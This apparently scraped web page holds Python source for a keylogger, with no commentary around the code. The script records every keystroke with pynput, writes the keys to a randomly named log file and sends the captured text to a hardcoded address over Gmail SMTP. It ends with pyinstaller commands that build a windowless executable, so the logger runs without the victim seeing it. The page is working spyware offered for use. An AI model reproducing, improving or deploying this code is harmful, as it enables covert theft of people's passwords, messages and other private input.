38
loading...
This website collects cookies to deliver better user experience
pip3 install pynput
import logging #for logging to a file
import smtplib #for sending email using SMTP protocol (gmail)
from pynput.keyboard import Key, Listener #for keylogs
from random import randint #for generating random file name
output = '3ke' + str(randint(0, 10000)) + '.txt'
log_dir = ""
logging.basicConfig(filename=(log_dir + output), level=logging.DEBUG, format='%(asctime)s: %(message)s')
email = '[email protected]'
password = 'password'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(email, password)
full_log = ""
word = ""
email_char_limit = 60 #set how many charcters to store before sending
def on_press(key, false=None):
global word
global full_log
global email
global email_char_limit
logging.info(str(key))
if key == Key.space or key == Key.enter:
word += ' '
full_log += word
word = ''
if len(full_log) >= email_char_limit:
send_log()
full_log = ''
elif key == Key.shift_l or key == Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char = f'{key}'
char = char[1:-1]
word += char
if key == Key.esc:
return false
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener(on_press=on_press) as listener:
listener.join()
pip install pyinstaller
pyinstaller --onefile -w 'fileName.py' #-w for no console